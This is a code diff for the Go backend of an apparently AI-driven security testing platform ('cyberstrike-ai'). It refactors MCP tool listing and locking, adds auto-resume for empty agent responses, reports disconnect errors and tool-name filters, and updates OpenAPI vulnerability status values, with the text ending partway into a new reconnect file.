toolInfo := ToolConfigInfo{
|
||||
Name: tool.Name,
|
||||
Description: h.pickToolDescription(tool.ShortDescription, tool.Description),
|
||||
Description: pickDesc(tool.ShortDescription, tool.Description),
|
||||
Enabled: tool.Enabled,
|
||||
IsExternal: false,
|
||||
}
|
||||
@@ -479,15 +501,15 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
|
||||
}
|
||||
|
||||
// 从MCP服务器获取所有已注册的工具(包括直接注册的工具,如知识检索工具)
|
||||
if h.mcpServer != nil {
|
||||
mcpTools := h.mcpServer.GetAllTools()
|
||||
if mcpServer != nil {
|
||||
mcpTools := mcpServer.GetAllTools()
|
||||
for _, mcpTool := range mcpTools {
|
||||
// 跳过已经在配置文件中的工具(避免重复)
|
||||
if configToolMap[mcpTool.Name] {
|
||||
continue
|
||||
}
|
||||
|
||||
description := h.pickToolDescription(mcpTool.ShortDescription, mcpTool.Description)
|
||||
description := pickDesc(mcpTool.ShortDescription, mcpTool.Description)
|
||||
|
||||
toolInfo := ToolConfigInfo{
|
||||
Name: mcpTool.Name,
|
||||
@@ -534,11 +556,13 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
|
||||
}
|
||||
}
|
||||
|
||||
// 获取外部MCP工具
|
||||
if h.externalMCPMgr != nil {
|
||||
// 创建context用于获取外部工具
|
||||
// 获取外部MCP工具(可走缓存,不持有 config 锁)
|
||||
if includeExternal && externalMCPMgr != nil {
|
||||
if refreshExternal {
|
||||
externalMCPMgr.InvalidateAllToolCaches()
|
||||
}
|
||||
ctx := context.Background()
|
||||
externalTools := h.getExternalMCPTools(ctx)
|
||||
externalTools := h.getExternalMCPToolsWithManager(ctx, externalMCPMgr, pickDesc)
|
||||
|
||||
// 应用搜索过滤和角色配置
|
||||
for _, toolInfo := range externalTools {
|
||||
@@ -585,6 +609,16 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
|
||||
// 注意:这里我们不直接过滤掉工具,而是保留所有工具,但通过 role_enabled 字段标注状态
|
||||
// 这样前端可以显示所有工具,并标注哪些工具在当前角色中可用
|
||||
|
||||
if externalMCPFilter != "" {
|
||||
filtered := make([]ToolConfigInfo, 0)
|
||||
for _, tool := range allTools {
|
||||
if tool.IsExternal && tool.ExternalMCP == externalMCPFilter {
|
||||
filtered = append(filtered, tool)
|
||||
}
|
||||
}
|
||||
allTools = filtered
|
||||
}
|
||||
|
||||
// 统一按名称排序后再分页,避免配置文件中顺序导致「全部」与「仅已启用」前几页看起来完全一致
|
||||
sort.SliceStable(allTools, func(i, j int) bool {
|
||||
key := func(t ToolConfigInfo) string {
|
||||
@@ -1906,50 +1940,52 @@ func setFloatInMap(mapNode *yaml.Node, key string, value float64) {
|
||||
}
|
||||
|
||||
// getExternalMCPTools 获取外部MCP工具列表(公共方法)
|
||||
// 返回 ToolConfigInfo 列表,已处理启用状态和描述信息
|
||||
func (h *ConfigHandler) getExternalMCPTools(ctx context.Context) []ToolConfigInfo {
|
||||
var result []ToolConfigInfo
|
||||
|
||||
if h.externalMCPMgr == nil {
|
||||
return nil
|
||||
}
|
||||
return h.getExternalMCPToolsWithManager(ctx, h.externalMCPMgr, h.pickToolDescription)
|
||||
}
|
||||
|
||||
// getExternalMCPToolsWithManager 获取外部 MCP 工具(不持有 config 锁,供 GetTools 等热路径使用)
|
||||
func (h *ConfigHandler) getExternalMCPToolsWithManager(
|
||||
ctx context.Context,
|
||||
mgr *mcp.ExternalMCPManager,
|
||||
pickDesc func(shortDesc, fullDesc string) string,
|
||||
) []ToolConfigInfo {
|
||||
var result []ToolConfigInfo
|
||||
if mgr == nil {
|
||||
return result
|
||||
}
|
||||
|
||||
// 使用较短的超时时间(5秒)进行快速失败,避免阻塞页面加载
|
||||
timeoutCtx, cancel := context.WithTimeout(ctx, 5*time.Second)
|
||||
defer cancel()
|
||||
|
||||
externalTools, err := h.externalMCPMgr.GetAllTools(timeoutCtx)
|
||||
externalTools, err := mgr.GetAllTools(timeoutCtx)
|
||||
if err != nil {
|
||||
// 记录警告但不阻塞,继续返回已缓存的工具(如果有)
|
||||
h.logger.Warn("获取外部MCP工具失败(可能连接断开),尝试返回缓存的工具",
|
||||
zap.Error(err),
|
||||
zap.String("hint", "如果外部MCP工具未显示,请检查连接状态或点击刷新按钮"),
|
||||
)
|
||||
}
|
||||
|
||||
// 如果获取到了工具(即使有错误),继续处理
|
||||
if len(externalTools) == 0 {
|
||||
return result
|
||||
}
|
||||
|
||||
externalMCPConfigs := h.externalMCPMgr.GetConfigs()
|
||||
externalMCPConfigs := mgr.GetConfigs()
|
||||
|
||||
for _, externalTool := range externalTools {
|
||||
// 解析工具名称:mcpName::toolName
|
||||
mcpName, actualToolName := h.parseExternalToolName(externalTool.Name)
|
||||
if mcpName == "" || actualToolName == "" {
|
||||
continue // 跳过格式不正确的工具
|
||||
continue
|
||||
}
|
||||
|
||||
// 计算启用状态
|
||||
enabled := h.calculateExternalToolEnabled(mcpName, actualToolName, externalMCPConfigs)
|
||||
|
||||
// 处理描述信息
|
||||
description := h.pickToolDescription(externalTool.ShortDescription, externalTool.Description)
|
||||
enabled := h.calculateExternalToolEnabledWithManager(mcpName, actualToolName, externalMCPConfigs, mgr)
|
||||
|
||||
result = append(result, ToolConfigInfo{
|
||||
Name: actualToolName,
|
||||
Description: description,
|
||||
Description: pickDesc(externalTool.ShortDescription, externalTool.Description),
|
||||
Enabled: enabled,
|
||||
IsExternal: true,
|
||||
ExternalMCP: mcpName,
|
||||
@@ -1970,40 +2006,48 @@ func (h *ConfigHandler) parseExternalToolName(fullName string) (mcpName, toolNam
|
||||
|
||||
// calculateExternalToolEnabled 计算外部工具的启用状态
|
||||
func (h *ConfigHandler) calculateExternalToolEnabled(mcpName, toolName string, configs map[string]config.ExternalMCPServerConfig) bool {
|
||||
return h.calculateExternalToolEnabledWithManager(mcpName, toolName, configs, h.externalMCPMgr)
|
||||
}
|
||||
|
||||
func (h *ConfigHandler) calculateExternalToolEnabledWithManager(
|
||||
mcpName, toolName string,
|
||||
configs map[string]config.ExternalMCPServerConfig,
|
||||
mgr *mcp.ExternalMCPManager,
|
||||
) bool {
|
||||
cfg, exists := configs[mcpName]
|
||||
if !exists {
|
||||
return false
|
||||
}
|
||||
|
||||
// 首先检查外部MCP是否启用
|
||||
if !cfg.ExternalMCPEnable {
|
||||
return false // MCP未启用,所有工具都禁用
|
||||
return false
|
||||
}
|
||||
|
||||
// MCP已启用,检查单个工具的启用状态
|
||||
// 如果ToolEnabled为空或未设置该工具,默认为启用(向后兼容)
|
||||
if cfg.ToolEnabled == nil {
|
||||
// 未设置工具状态,默认为启用
|
||||
} else if toolEnabled, exists := cfg.ToolEnabled[toolName]; exists {
|
||||
// 使用配置的工具状态
|
||||
if !toolEnabled {
|
||||
if cfg.ToolEnabled != nil {
|
||||
if toolEnabled, exists := cfg.ToolEnabled[toolName]; exists && !toolEnabled {
|
||||
return false
|
||||
}
|
||||
}
|
||||
// 工具未在配置中,默认为启用
|
||||
|
||||
// 最后检查外部MCP是否已连接
|
||||
client, exists := h.externalMCPMgr.GetClient(mcpName)
|
||||
if mgr == nil {
|
||||
return false
|
||||
}
|
||||
client, exists := mgr.GetClient(mcpName)
|
||||
if !exists || !client.IsConnected() {
|
||||
return false // 未连接时视为禁用
|
||||
return false
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
// pickToolDescription 根据 security.tool_description_mode 选择 short 或 full 描述并限制长度
|
||||
// pickToolDescription 根据 security.tool_description_mode 选择 short 或 full 描述并限制长度。
|
||||
// 调用方若已持有 h.mu 读锁,须直接读 mode 并调用 pickToolDescriptionWithMode,避免嵌套 RLock 死锁。
|
||||
func (h *ConfigHandler) pickToolDescription(shortDesc, fullDesc string) string {
|
||||
useFull := strings.TrimSpace(strings.ToLower(h.config.Security.ToolDescriptionMode)) == "full"
|
||||
return pickToolDescriptionWithMode(h.config.Security.ToolDescriptionMode, shortDesc, fullDesc)
|
||||
}
|
||||
|
||||
func pickToolDescriptionWithMode(mode, shortDesc, fullDesc string) string {
|
||||
useFull := strings.TrimSpace(strings.ToLower(mode)) == "full"
|
||||
description := shortDesc
|
||||
if useFull {
|
||||
description = fullDesc
|
||||
@@ -2018,23 +2062,22 @@ func (h *ConfigHandler) pickToolDescription(shortDesc, fullDesc string) string {
|
||||
|
||||
// GetToolSchema 获取单个工具的 inputSchema(按需加载,避免列表接口返回大量 schema 数据)
|
||||
func (h *ConfigHandler) GetToolSchema(c *gin.Context) {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
|
||||
toolName := c.Param("name")
|
||||
if toolName == "" {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "工具名称不能为空"})
|
||||
return
|
||||
}
|
||||
|
||||
// 检查是否为外部工具(格式:mcpName::toolName)
|
||||
externalMCP := c.Query("external_mcp")
|
||||
if externalMCP != "" {
|
||||
// 外部 MCP 工具
|
||||
if h.externalMCPMgr != nil {
|
||||
h.mu.RLock()
|
||||
externalMCPMgr := h.externalMCPMgr
|
||||
h.mu.RUnlock()
|
||||
|
||||
if externalMCPMgr != nil {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
|
||||
defer cancel()
|
||||
externalTools, _ := h.externalMCPMgr.GetAllTools(ctx)
|
||||
externalTools, _ := externalMCPMgr.GetAllTools(ctx)
|
||||
fullName := externalMCP + "::" + toolName
|
||||
for _, t := range externalTools {
|
||||
if t.Name == fullName {
|
||||
@@ -2047,8 +2090,12 @@ func (h *ConfigHandler) GetToolSchema(c *gin.Context) {
|
||||
return
|
||||
}
|
||||
|
||||
// 内部工具:从 YAML 配置的 Parameters 构建
|
||||
for _, tool := range h.config.Security.Tools {
|
||||
h.mu.RLock()
|
||||
securityTools := append([]config.ToolConfig(nil), h.config.Security.Tools...)
|
||||
mcpServer := h.mcpServer
|
||||
h.mu.RUnlock()
|
||||
|
||||
for _, tool := range securityTools {
|
||||
if tool.Name == toolName {
|
||||
c.JSON(http.StatusOK, gin.H{"input_schema": buildInputSchemaFromParams(tool.Parameters)})
|
||||
return
|
||||
@@ -2056,8 +2103,8 @@ func (h *ConfigHandler) GetToolSchema(c *gin.Context) {
|
||||
}
|
||||
|
||||
// MCP 注册工具(如知识检索)
|
||||
if h.mcpServer != nil {
|
||||
for _, mt := range h.mcpServer.GetAllTools() {
|
||||
if mcpServer != nil {
|
||||
for _, mt := range mcpServer.GetAllTools() {
|
||||
if mt.Name == toolName {
|
||||
c.JSON(http.StatusOK, gin.H{"input_schema": mt.InputSchema})
|
||||
return
|
||||
|
||||
@@ -9,6 +9,8 @@ import (
|
||||
|
||||
"cyberstrike-ai/internal/agent"
|
||||
"cyberstrike-ai/internal/multiagent"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
func (h *AgentHandler) einoRunRetryMaxAttempts() int {
|
||||
@@ -120,3 +122,59 @@ func (h *AgentHandler) handleEinoTransientRetryContinue(
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
|
||||
// handleEinoEmptyResponseContinue 在 SSE 任务循环内处理「正常结束但无助手正文」;返回 exhausted=true 时由外层按成功结束(保留占位文案)。
|
||||
// 与临时错误重试一致:仅恢复轨迹并保留本请求原始 user 文案,不向模型注入续跑说明。
|
||||
func (h *AgentHandler) handleEinoEmptyResponseContinue(
|
||||
baseCtx context.Context,
|
||||
conversationID string,
|
||||
result *multiagent.RunResult,
|
||||
runErr error,
|
||||
emptyResponseAttempts *int,
|
||||
curHistory *[]agent.ChatMessage,
|
||||
curFinalMessage *string,
|
||||
segmentUserMessage string,
|
||||
progressCallback func(eventType, message string, data interface{}),
|
||||
sendProgress func(msg string, extra map[string]interface{}),
|
||||
) (handled bool, exhausted bool) {
|
||||
if !errors.Is(runErr, multiagent.ErrEmptyResponseContinue) {
|
||||
return false, false
|
||||
}
|
||||
maxAttempts := h.einoRunRetryMaxAttempts()
|
||||
*emptyResponseAttempts++
|
||||
if *emptyResponseAttempts > maxAttempts {
|
||||
if h.logger != nil {
|
||||
h.logger.Warn("eino empty response auto resume exhausted",
|
||||
zap.String("conversationId", conversationID),
|
||||
zap.Int("maxAttempts", maxAttempts))
|
||||
}
|
||||
if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
|
||||
h.persistEinoAgentTraceForResume(conversationID, result)
|
||||
}
|
||||
return false, true
|
||||
}
|
||||
attemptNo := *emptyResponseAttempts
|
||||
if h.logger != nil {
|
||||
h.logger.Info("eino empty response, auto resume from trace",
|
||||
zap.String("conversationId", conversationID),
|
||||
zap.Int("attempt", attemptNo),
|
||||
zap.Int("maxAttempts", maxAttempts))
|
||||
}
|
||||
if progressCallback != nil {
|
||||
progressCallback("eino_empty_response_continue", fmt.Sprintf("未捕获到助手正文,正在基于轨迹自动续跑(%d/%d)…", attemptNo, maxAttempts), map[string]interface{}{
|
||||
"conversationId": conversationID,
|
||||
"source": "eino",
|
||||
"attempt": attemptNo,
|
||||
"maxAttempts": maxAttempts,
|
||||
"resumeKind": "trace_segment",
|
||||
})
|
||||
}
|
||||
h.applyEinoTransientRetrySegment(conversationID, result, curHistory, curFinalMessage, segmentUserMessage)
|
||||
if sendProgress != nil {
|
||||
sendProgress("已恢复上下文,正在继续推理…", map[string]interface{}{
|
||||
"conversationId": conversationID,
|
||||
"source": "empty_response_continue",
|
||||
})
|
||||
}
|
||||
return true, false
|
||||
}
|
||||
|
||||
@@ -178,6 +178,7 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
|
||||
|
||||
var cumulativeMCPExecutionIDs []string
|
||||
var transientRunAttempts int
|
||||
var emptyResponseAttempts int
|
||||
// 同一请求内分段续跑时,主代理 iteration 事件按偏移累计,避免 UI 出现「第3轮 → 第1轮」回跳。
|
||||
var mainIterationOffset int
|
||||
|
||||
@@ -237,9 +238,32 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
|
||||
cumulativeMCPExecutionIDs = mergeMCPExecutionIDLists(cumulativeMCPExecutionIDs, result.MCPExecutionIDs)
|
||||
}
|
||||
|
||||
handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
|
||||
baseCtx, conversationID, result, runErr, &emptyResponseAttempts,
|
||||
&curHistory, &curFinalMessage, segmentUserMessage, progressCallback,
|
||||
func(msg string, extra map[string]interface{}) { sendEvent("progress", msg, extra) },
|
||||
)
|
||||
if exhaustedEmpty {
|
||||
runErr = nil
|
||||
transientRunAttempts = 0
|
||||
timeoutCancel()
|
||||
break
|
||||
}
|
||||
if handledEmpty {
|
||||
mainIterationOffset += segmentMainIterationMax
|
||||
transientRunAttempts = 0
|
||||
timeoutCancel()
|
||||
baseCtx, cancelWithCause = context.WithCancelCause(context.Background())
|
||||
h.tasks.BindTaskCancel(conversationID, cancelWithCause)
|
||||
taskCtx, timeoutCancel = context.WithTimeout(baseCtx, 600*time.Minute)
|
||||
h.tasks.UpdateTaskStatus(conversationID, "running")
|
||||
continue
|
||||
}
|
||||
|
||||
if runErr == nil {
|
||||
// 任一段成功完成后,重置临时错误重试窗口(次数/退避从头开始)。
|
||||
transientRunAttempts = 0
|
||||
emptyResponseAttempts = 0
|
||||
timeoutCancel()
|
||||
break
|
||||
}
|
||||
@@ -418,21 +442,49 @@ func (h *AgentHandler) EinoSingleAgentLoop(c *gin.Context) {
|
||||
return
|
||||
}
|
||||
|
||||
result, runErr := multiagent.RunEinoSingleChatModelAgent(
|
||||
taskCtx,
|
||||
h.config,
|
||||
&h.config.MultiAgent,
|
||||
h.agent,
|
||||
h.logger,
|
||||
prep.ConversationID,
|
||||
prep.FinalMessage,
|
||||
prep.History,
|
||||
prep.RoleTools,
|
||||
progressCallback,
|
||||
chatReasoningToClientIntent(req.Reasoning),
|
||||
h.projectBlackboardBlock(prep.ConversationID),
|
||||
)
|
||||
if runErr != nil {
|
||||
curHist := prep.History
|
||||
curMsg := prep.FinalMessage
|
||||
var result *multiagent.RunResult
|
||||
var runErr error
|
||||
var transientRunAttempts int
|
||||
var emptyResponseAttempts int
|
||||
for {
|
||||
result, runErr = multiagent.RunEinoSingleChatModelAgent(
|
||||
taskCtx,
|
||||
h.config,
|
||||
&h.config.MultiAgent,
|
||||
h.agent,
|
||||
h.logger,
|
||||
prep.ConversationID,
|
||||
curMsg,
|
||||
curHist,
|
||||
prep.RoleTools,
|
||||
progressCallback,
|
||||
chatReasoningToClientIntent(req.Reasoning),
|
||||
h.projectBlackboardBlock(prep.ConversationID),
|
||||
)
|
||||
handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
|
||||
baseCtx, prep.ConversationID, result, runErr, &emptyResponseAttempts,
|
||||
&curHist, &curMsg, prep.FinalMessage, progressCallback, nil,
|
||||
)
|
||||
if exhaustedEmpty {
|
||||
runErr = nil
|
||||
break
|
||||
}
|
||||
if handledEmpty {
|
||||
continue
|
||||
}
|
||||
if runErr == nil {
|
||||
break
|
||||
}
|
||||
if handled, fatalErr := h.handleEinoTransientRetryContinue(
|
||||
baseCtx, prep.ConversationID, result, runErr, &transientRunAttempts,
|
||||
&curHist, &curMsg, prep.FinalMessage, progressCallback, nil,
|
||||
); handled {
|
||||
continue
|
||||
} else if fatalErr != nil {
|
||||
runErr = fatalErr
|
||||
}
|
||||
if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
|
||||
h.persistEinoAgentTraceForResume(prep.ConversationID, result)
|
||||
}
|
||||
|
||||
@@ -64,10 +64,7 @@ func (h *ExternalMCPHandler) GetExternalMCPs(c *gin.Context) {
|
||||
}
|
||||
|
||||
toolCount := toolCounts[name]
|
||||
errorMsg := ""
|
||||
if status == "error" {
|
||||
errorMsg = h.manager.GetError(name)
|
||||
}
|
||||
errorMsg := externalMCPStatusError(h.manager, name, status)
|
||||
|
||||
result[name] = ExternalMCPResponse{
|
||||
Config: cfg,
|
||||
@@ -115,20 +112,22 @@ func (h *ExternalMCPHandler) GetExternalMCP(c *gin.Context) {
|
||||
}
|
||||
}
|
||||
|
||||
// 获取错误信息
|
||||
errorMsg := ""
|
||||
if status == "error" {
|
||||
errorMsg = h.manager.GetError(name)
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, ExternalMCPResponse{
|
||||
Config: cfg,
|
||||
Status: status,
|
||||
ToolCount: toolCount,
|
||||
Error: errorMsg,
|
||||
Error: externalMCPStatusError(h.manager, name, status),
|
||||
})
|
||||
}
|
||||
|
||||
// externalMCPStatusError 在 error/disconnected 状态下返回最近错误(含断连原因)。
|
||||
func externalMCPStatusError(manager *mcp.ExternalMCPManager, name, status string) string {
|
||||
if status != "error" && status != "disconnected" {
|
||||
return ""
|
||||
}
|
||||
return manager.GetError(name)
|
||||
}
|
||||
|
||||
// AddOrUpdateExternalMCP 添加或更新外部MCP配置
|
||||
func (h *ExternalMCPHandler) AddOrUpdateExternalMCP(c *gin.Context) {
|
||||
var req AddOrUpdateExternalMCPRequest
|
||||
|
||||
@@ -271,6 +271,16 @@ func TestExternalMCPHandler_DeleteExternalMCP(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestExternalMCPStatusError(t *testing.T) {
|
||||
manager := mcp.NewExternalMCPManager(zap.NewNop())
|
||||
if got := externalMCPStatusError(manager, "x", "connected"); got != "" {
|
||||
t.Fatalf("connected status should not return error, got %q", got)
|
||||
}
|
||||
if got := externalMCPStatusError(manager, "x", "connecting"); got != "" {
|
||||
t.Fatalf("connecting status should not return error, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExternalMCPHandler_GetExternalMCPs(t *testing.T) {
|
||||
router, handler, _ := setupTestRouter()
|
||||
|
||||
|
||||
@@ -77,8 +77,8 @@ func (h *MonitorHandler) Monitor(c *gin.Context) {
|
||||
|
||||
// 解析状态筛选参数
|
||||
status := c.Query("status")
|
||||
// 解析工具筛选参数
|
||||
toolName := c.Query("tool")
|
||||
// 解析工具筛选参数(兼容 mcp__tool 与内部 mcp::tool)
|
||||
toolName := normalizeToolNameFilter(c.Query("tool"))
|
||||
|
||||
executions, total := h.loadExecutionsWithPagination(page, pageSize, status, toolName)
|
||||
stats := h.loadStats()
|
||||
@@ -113,7 +113,7 @@ func (h *MonitorHandler) loadExecutionsWithPagination(page, pageSize int, status
|
||||
for _, exec := range allExecutions {
|
||||
matchStatus := status == "" || exec.Status == status
|
||||
// 支持部分匹配(模糊搜索)
|
||||
matchTool := toolName == "" || strings.Contains(strings.ToLower(exec.ToolName), strings.ToLower(toolName))
|
||||
matchTool := toolNameFilterMatches(exec.ToolName, toolName)
|
||||
if matchStatus && matchTool {
|
||||
filtered = append(filtered, exec)
|
||||
}
|
||||
@@ -143,7 +143,7 @@ func (h *MonitorHandler) loadExecutionsWithPagination(page, pageSize int, status
|
||||
for _, exec := range allExecutions {
|
||||
matchStatus := status == "" || exec.Status == status
|
||||
// 支持部分匹配(模糊搜索)
|
||||
matchTool := toolName == "" || strings.Contains(strings.ToLower(exec.ToolName), strings.ToLower(toolName))
|
||||
matchTool := toolNameFilterMatches(exec.ToolName, toolName)
|
||||
if matchStatus && matchTool {
|
||||
filtered = append(filtered, exec)
|
||||
}
|
||||
@@ -584,3 +584,35 @@ func (h *MonitorHandler) DeleteExecutions(c *gin.Context) {
|
||||
h.logger.Info("尝试批量删除内存中的执行记录", zap.Int("count", len(request.IDs)))
|
||||
c.JSON(http.StatusOK, gin.H{"message": "执行记录已删除(如果存在)"})
|
||||
}
|
||||
|
||||
// normalizeToolNameFilter 将模型侧 mcp__tool 转为内部存储用的 mcp::tool。
|
||||
func normalizeToolNameFilter(name string) string {
|
||||
name = strings.TrimSpace(name)
|
||||
if name == "" {
|
||||
return name
|
||||
}
|
||||
if strings.Contains(name, "::") {
|
||||
return name
|
||||
}
|
||||
if idx := strings.Index(name, "__"); idx > 0 {
|
||||
return name[:idx] + "::" + name[idx+2:]
|
||||
}
|
||||
return name
|
||||
}
|
||||
|
||||
func toolNameFilterMatches(storedName, filter string) bool {
|
||||
filter = strings.TrimSpace(filter)
|
||||
if filter == "" {
|
||||
return true
|
||||
}
|
||||
storedLower := strings.ToLower(storedName)
|
||||
filterLower := strings.ToLower(filter)
|
||||
if strings.Contains(storedLower, filterLower) {
|
||||
return true
|
||||
}
|
||||
normFilter := strings.ToLower(normalizeToolNameFilter(filter))
|
||||
if normFilter != filterLower && strings.Contains(storedLower, normFilter) {
|
||||
return true
|
||||
}
|
||||
return strings.Contains(strings.ReplaceAll(storedLower, "::", "__"), filterLower)
|
||||
}
|
||||
|
||||
@@ -188,6 +188,7 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
|
||||
// 同一 HTTP 流内多段 Run(如中断并继续)合并 MCP execution id,供最终 response / 库表与工具芯片展示完整列表
|
||||
var cumulativeMCPExecutionIDs []string
|
||||
var transientRunAttempts int
|
||||
var emptyResponseAttempts int
|
||||
// 同一请求内分段续跑时,主代理 iteration 事件按偏移累计,避免 UI 出现「第3轮 → 第1轮」回跳。
|
||||
var mainIterationOffset int
|
||||
|
||||
@@ -249,9 +250,32 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
|
||||
cumulativeMCPExecutionIDs = mergeMCPExecutionIDLists(cumulativeMCPExecutionIDs, result.MCPExecutionIDs)
|
||||
}
|
||||
|
||||
handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
|
||||
baseCtx, conversationID, result, runErr, &emptyResponseAttempts,
|
||||
&curHistory, &curFinalMessage, segmentUserMessage, progressCallback,
|
||||
func(msg string, extra map[string]interface{}) { sendEvent("progress", msg, extra) },
|
||||
)
|
||||
if exhaustedEmpty {
|
||||
runErr = nil
|
||||
transientRunAttempts = 0
|
||||
timeoutCancel()
|
||||
break
|
||||
}
|
||||
if handledEmpty {
|
||||
mainIterationOffset += segmentMainIterationMax
|
||||
transientRunAttempts = 0
|
||||
timeoutCancel()
|
||||
baseCtx, cancelWithCause = context.WithCancelCause(context.Background())
|
||||
h.tasks.BindTaskCancel(conversationID, cancelWithCause)
|
||||
taskCtx, timeoutCancel = context.WithTimeout(baseCtx, 600*time.Minute)
|
||||
h.tasks.UpdateTaskStatus(conversationID, "running")
|
||||
continue
|
||||
}
|
||||
|
||||
if runErr == nil {
|
||||
// 任一段成功完成后,重置临时错误重试窗口(次数/退避从头开始)。
|
||||
transientRunAttempts = 0
|
||||
emptyResponseAttempts = 0
|
||||
timeoutCancel()
|
||||
break
|
||||
}
|
||||
@@ -430,23 +454,51 @@ func (h *AgentHandler) MultiAgentLoop(c *gin.Context) {
|
||||
return h.interceptHITLForEinoTool(ctx, cancelWithCause, prep.ConversationID, prep.AssistantMessageID, nil, toolName, arguments)
|
||||
})
|
||||
|
||||
result, runErr := multiagent.RunDeepAgent(
|
||||
taskCtx,
|
||||
h.config,
|
||||
&h.config.MultiAgent,
|
||||
h.agent,
|
||||
h.logger,
|
||||
prep.ConversationID,
|
||||
prep.FinalMessage,
|
||||
prep.History,
|
||||
prep.RoleTools,
|
||||
progressCallback,
|
||||
h.agentsMarkdownDir,
|
||||
strings.TrimSpace(req.Orchestration),
|
||||
chatReasoningToClientIntent(req.Reasoning),
|
||||
h.projectBlackboardBlock(prep.ConversationID),
|
||||
)
|
||||
if runErr != nil {
|
||||
curHist := prep.History
|
||||
curMsg := prep.FinalMessage
|
||||
var result *multiagent.RunResult
|
||||
var runErr error
|
||||
var transientRunAttempts int
|
||||
var emptyResponseAttempts int
|
||||
for {
|
||||
result, runErr = multiagent.RunDeepAgent(
|
||||
taskCtx,
|
||||
h.config,
|
||||
&h.config.MultiAgent,
|
||||
h.agent,
|
||||
h.logger,
|
||||
prep.ConversationID,
|
||||
curMsg,
|
||||
curHist,
|
||||
prep.RoleTools,
|
||||
progressCallback,
|
||||
h.agentsMarkdownDir,
|
||||
strings.TrimSpace(req.Orchestration),
|
||||
chatReasoningToClientIntent(req.Reasoning),
|
||||
h.projectBlackboardBlock(prep.ConversationID),
|
||||
)
|
||||
handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
|
||||
baseCtx, prep.ConversationID, result, runErr, &emptyResponseAttempts,
|
||||
&curHist, &curMsg, prep.FinalMessage, progressCallback, nil,
|
||||
)
|
||||
if exhaustedEmpty {
|
||||
runErr = nil
|
||||
break
|
||||
}
|
||||
if handledEmpty {
|
||||
continue
|
||||
}
|
||||
if runErr == nil {
|
||||
break
|
||||
}
|
||||
if handled, fatalErr := h.handleEinoTransientRetryContinue(
|
||||
baseCtx, prep.ConversationID, result, runErr, &transientRunAttempts,
|
||||
&curHist, &curMsg, prep.FinalMessage, progressCallback, nil,
|
||||
); handled {
|
||||
continue
|
||||
} else if fatalErr != nil {
|
||||
runErr = fatalErr
|
||||
}
|
||||
if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
|
||||
h.persistEinoAgentTraceForResume(prep.ConversationID, result)
|
||||
}
|
||||
|
||||
@@ -237,7 +237,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
||||
"status": map[string]interface{}{
|
||||
"type": "string",
|
||||
"description": "状态",
|
||||
"enum": []string{"open", "closed", "fixed"},
|
||||
"enum": []string{"open", "confirmed", "fixed", "false_positive", "ignored"},
|
||||
},
|
||||
"target": map[string]interface{}{
|
||||
"type": "string",
|
||||
@@ -575,7 +575,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
||||
"status": map[string]interface{}{
|
||||
"type": "string",
|
||||
"description": "状态",
|
||||
"enum": []string{"open", "closed", "fixed"},
|
||||
"enum": []string{"open", "confirmed", "fixed", "false_positive", "ignored"},
|
||||
},
|
||||
"type": map[string]interface{}{
|
||||
"type": "string",
|
||||
@@ -1344,7 +1344,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
||||
"delete": map[string]interface{}{
|
||||
"tags": []string{"对话管理"},
|
||||
"summary": "删除对话",
|
||||
"description": "删除指定的对话及其所有相关数据(消息、漏洞等)。**此操作不可恢复**。",
|
||||
"description": "删除指定的对话及其会话数据(消息、攻击链等)。**漏洞记录会保留**,仅解除与会话的关联。**此操作不可恢复**。",
|
||||
"operationId": "deleteConversation",
|
||||
"parameters": []map[string]interface{}{
|
||||
{
|
||||
|
||||
@@ -190,6 +190,23 @@ func (c *lazySDKClient) Close() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// markDisconnected 在检测到传输层断连时关闭底层 session,避免 IsConnected 仍返回 true。
|
||||
func (c *lazySDKClient) markDisconnected() {
|
||||
c.mu.Lock()
|
||||
inner := c.inner
|
||||
sessionCancel := c.sessionCancel
|
||||
c.inner = nil
|
||||
c.sessionCancel = nil
|
||||
c.mu.Unlock()
|
||||
if sessionCancel != nil {
|
||||
sessionCancel()
|
||||
}
|
||||
if inner != nil {
|
||||
_ = inner.Close()
|
||||
}
|
||||
c.setStatus("disconnected")
|
||||
}
|
||||
|
||||
func (c *sdkClient) setStatus(s string) {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
|
||||
@@ -0,0 +1,192 @@
|
||||
package mcp
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"io"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
const (
|
||||
// externalReconnectMinInterval 两次自动重连之间的最短间隔
|
||||
externalReconnectMinInterval = 30 * time.Second
|
||||
// externalReconnectMaxBackoff 指数退避上限
|
||||
externalReconnectMaxBackoff = 5 * time.Minute
|
||||
)
|
||||
|
||||
// isConnectionDeadError 判断错误是否表示底层传输已断开(而非调用方主动取消或超时)。
|
||||
func isConnectionDeadError(err error) bool {
|
||||
